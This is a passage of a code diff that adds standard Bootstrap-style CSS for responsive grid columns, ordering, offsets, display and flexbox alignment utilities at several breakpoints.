+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-sm-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-sm-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-sm-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-sm-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-sm-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-sm-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-sm-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-sm-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-sm-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-sm-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-sm-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-sm-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-sm-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-sm-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-sm-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-sm-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-sm-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-sm-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-sm-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-sm-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-sm-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-sm-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-sm-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-sm-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-sm-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-sm-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-sm-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-sm-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-sm-0 {
+    margin-left: 0;
+  }
+  .offset-sm-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-sm-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-sm-3 {
+    margin-left: 25%;
+  }
+  .offset-sm-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-sm-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-sm-6 {
+    margin-left: 50%;
+  }
+  .offset-sm-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-sm-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-sm-9 {
+    margin-left: 75%;
+  }
+  .offset-sm-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-sm-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 768px) {
+  .col-md {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-md-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-md-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-md-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-md-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-md-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-md-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-md-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-md-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-md-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-md-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-md-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-md-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-md-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-md-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-md-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-md-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-md-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-md-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-md-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-md-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-md-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-md-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-md-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-md-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-md-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-md-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-md-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-md-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-md-0 {
+    margin-left: 0;
+  }
+  .offset-md-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-md-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-md-3 {
+    margin-left: 25%;
+  }
+  .offset-md-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-md-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-md-6 {
+    margin-left: 50%;
+  }
+  .offset-md-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-md-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-md-9 {
+    margin-left: 75%;
+  }
+  .offset-md-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-md-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 992px) {
+  .col-lg {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-lg-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-lg-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-lg-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-lg-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-lg-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-lg-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-lg-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-lg-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-lg-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-lg-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-lg-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-lg-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-lg-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-lg-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-lg-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-lg-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-lg-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-lg-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-lg-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-lg-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-lg-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-lg-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-lg-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-lg-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-lg-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-lg-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-lg-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-lg-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-lg-0 {
+    margin-left: 0;
+  }
+  .offset-lg-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-lg-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-lg-3 {
+    margin-left: 25%;
+  }
+  .offset-lg-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-lg-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-lg-6 {
+    margin-left: 50%;
+  }
+  .offset-lg-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-lg-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-lg-9 {
+    margin-left: 75%;
+  }
+  .offset-lg-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-lg-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 1200px) {
+  .col-xl {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-xl-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-xl-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-xl-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-xl-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-xl-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-xl-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-xl-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-xl-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-xl-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-xl-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-xl-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-xl-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-xl-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-xl-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-xl-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-xl-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-xl-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-xl-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-xl-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-xl-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-xl-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-xl-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-xl-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-xl-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-xl-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-xl-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-xl-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-xl-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-xl-0 {
+    margin-left: 0;
+  }
+  .offset-xl-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-xl-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-xl-3 {
+    margin-left: 25%;
+  }
+  .offset-xl-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-xl-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-xl-6 {
+    margin-left: 50%;
+  }
+  .offset-xl-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-xl-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-xl-9 {
+    margin-left: 75%;
+  }
+  .offset-xl-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-xl-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+.d-none {
+  display: none !important;
+}
+
+.d-inline {
+  display: inline !important;
+}
+
+.d-inline-block {
+  display: inline-block !important;
+}
+
+.d-block {
+  display: block !important;
+}
+
+.d-table {
+  display: table !important;
+}
+
+.d-table-row {
+  display: table-row !important;
+}
+
+.d-table-cell {
+  display: table-cell !important;
+}
+
+.d-flex {
+  display: -ms-flexbox !important;
+  display: flex !important;
+}
+
+.d-inline-flex {
+  display: -ms-inline-flexbox !important;
+  display: inline-flex !important;
+}
+
+@media (min-width: 576px) {
+  .d-sm-none {
+    display: none !important;
+  }
+  .d-sm-inline {
+    display: inline !important;
+  }
+  .d-sm-inline-block {
+    display: inline-block !important;
+  }
+  .d-sm-block {
+    display: block !important;
+  }
+  .d-sm-table {
+    display: table !important;
+  }
+  .d-sm-table-row {
+    display: table-row !important;
+  }
+  .d-sm-table-cell {
+    display: table-cell !important;
+  }
+  .d-sm-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-sm-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .d-md-none {
+    display: none !important;
+  }
+  .d-md-inline {
+    display: inline !important;
+  }
+  .d-md-inline-block {
+    display: inline-block !important;
+  }
+  .d-md-block {
+    display: block !important;
+  }
+  .d-md-table {
+    display: table !important;
+  }
+  .d-md-table-row {
+    display: table-row !important;
+  }
+  .d-md-table-cell {
+    display: table-cell !important;
+  }
+  .d-md-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-md-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .d-lg-none {
+    display: none !important;
+  }
+  .d-lg-inline {
+    display: inline !important;
+  }
+  .d-lg-inline-block {
+    display: inline-block !important;
+  }
+  .d-lg-block {
+    display: block !important;
+  }
+  .d-lg-table {
+    display: table !important;
+  }
+  .d-lg-table-row {
+    display: table-row !important;
+  }
+  .d-lg-table-cell {
+    display: table-cell !important;
+  }
+  .d-lg-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-lg-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .d-xl-none {
+    display: none !important;
+  }
+  .d-xl-inline {
+    display: inline !important;
+  }
+  .d-xl-inline-block {
+    display: inline-block !important;
+  }
+  .d-xl-block {
+    display: block !important;
+  }
+  .d-xl-table {
+    display: table !important;
+  }
+  .d-xl-table-row {
+    display: table-row !important;
+  }
+  .d-xl-table-cell {
+    display: table-cell !important;
+  }
+  .d-xl-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-xl-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media print {
+  .d-print-none {
+    display: none !important;
+  }
+  .d-print-inline {
+    display: inline !important;
+  }
+  .d-print-inline-block {
+    display: inline-block !important;
+  }
+  .d-print-block {
+    display: block !important;
+  }
+  .d-print-table {
+    display: table !important;
+  }
+  .d-print-table-row {
+    display: table-row !important;
+  }
+  .d-print-table-cell {
+    display: table-cell !important;
+  }
+  .d-print-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-print-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+.flex-row {
+  -ms-flex-direction: row !important;
+  flex-direction: row !important;
+}
+
+.flex-column {
+  -ms-flex-direction: column !important;
+  flex-direction: column !important;
+}
+
+.flex-row-reverse {
+  -ms-flex-direction: row-reverse !important;
+  flex-direction: row-reverse !important;
+}
+
+.flex-column-reverse {
+  -ms-flex-direction: column-reverse !important;
+  flex-direction: column-reverse !important;
+}
+
+.flex-wrap {
+  -ms-flex-wrap: wrap !important;
+  flex-wrap: wrap !important;
+}
+
+.flex-nowrap {
+  -ms-flex-wrap: nowrap !important;
+  flex-wrap: nowrap !important;
+}
+
+.flex-wrap-reverse {
+  -ms-flex-wrap: wrap-reverse !important;
+  flex-wrap: wrap-reverse !important;
+}
+
+.flex-fill {
+  -ms-flex: 1 1 auto !important;
+  flex: 1 1 auto !important;
+}
+
+.flex-grow-0 {
+  -ms-flex-positive: 0 !important;
+  flex-grow: 0 !important;
+}
+
+.flex-grow-1 {
+  -ms-flex-positive: 1 !important;
+  flex-grow: 1 !important;
+}
+
+.flex-shrink-0 {
+  -ms-flex-negative: 0 !important;
+  flex-shrink: 0 !important;
+}
+
+.flex-shrink-1 {
+  -ms-flex-negative: 1 !important;
+  flex-shrink: 1 !important;
+}
+
+.justify-content-start {
+  -ms-flex-pack: start !important;
+  justify-content: flex-start !important;
+}
+
+.justify-content-end {
+  -ms-flex-pack: end !important;
+  justify-content: flex-end !important;
+}
+
+.justify-content-center {
+  -ms-flex-pack: center !important;
+  justify-content: center !important;
+}
+
+.justify-content-between {
+  -ms-flex-pack: justify !important;
+  justify-content: space-between !important;
+}
+
+.justify-content-around {
+  -ms-flex-pack: distribute !important;
+  justify-content: space-around !important;
+}
+
+.align-items-start {
+  -ms-flex-align: start !important;
+  align-items: flex-start !important;
+}
+
+.align-items-end {
+  -ms-flex-align: end !important;
+  align-items: flex-end !important;
+}
+
+.align-items-center {
+  -ms-flex-align: center !important;
+  align-items: center !important;
+}
+
+.align-items-baseline {
+  -ms-flex-align: baseline !important;
+  align-items: baseline !important;
+}
+
+.align-items-stretch {
+  -ms-flex-align: stretch !important;
+  align-items: stretch !important;
+}
+
+.align-content-start {
+  -ms-flex-line-pack: start !important;
+  align-content: flex-start !important;
+}
+
+.align-content-end {
+  -ms-flex-line-pack: end !important;
+  align-content: flex-end !important;
+}
+
+.align-content-center {
+  -ms-flex-line-pack: center !important;
+  align-content: center !important;
+}
+
+.align-content-between {
+  -ms-flex-line-pack: justify !important;
+  align-content: space-between !important;
+}
+
+.align-content-around {
+  -ms-flex-line-pack: distribute !important;
+  align-content: space-around !important;
+}
+
+.align-content-stretch {
+  -ms-flex-line-pack: stretch !important;
+  align-content: stretch !important;
+}
+
+.align-self-auto {
+  -ms-flex-item-align: auto !important;
+  align-self: auto !important;
+}
+
+.align-self-start {
+  -ms-flex-item-align: start !important;
+  align-self: flex-start !important;
+}
+
+.align-self-end {
+  -ms-flex-item-align: end !important;
+  align-self: flex-end !important;
+}
+
+.align-self-center {
+  -ms-flex-item-align: center !important;
+  align-self: center !important;
+}
+
+.align-self-baseline {
+  -ms-flex-item-align: baseline !important;
+  align-self: baseline !important;
+}
+
+.align-self-stretch {
+  -ms-flex-item-align: stretch !important;
+  align-self: stretch !important;
+}
+
+@media (min-width: 576px) {
+  .flex-sm-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-sm-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-sm-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-sm-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-sm-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-sm-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-sm-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-sm-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-sm-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-sm-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-sm-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-sm-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-sm-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-sm-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-sm-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-sm-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-sm-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-sm-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-sm-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-sm-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-sm-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-sm-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-sm-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-sm-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-sm-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-sm-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-sm-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-sm-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-sm-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-sm-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-sm-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-sm-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-sm-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-sm-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .flex-md-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-md-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-md-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-md-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-md-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-md-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-md-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-md-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-md-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-md-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-md-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-md-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-md-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-md-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-md-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-md-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-md-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-md-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-md-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-md-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-md-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-md-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-md-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-md-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-md-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-md-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-md-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-md-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-md-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-md-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-md-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-md-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-md-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-md-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .flex-lg-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-lg-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-lg-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-lg-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-lg-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-lg-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-lg-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-lg-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-lg-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-lg-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-lg-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
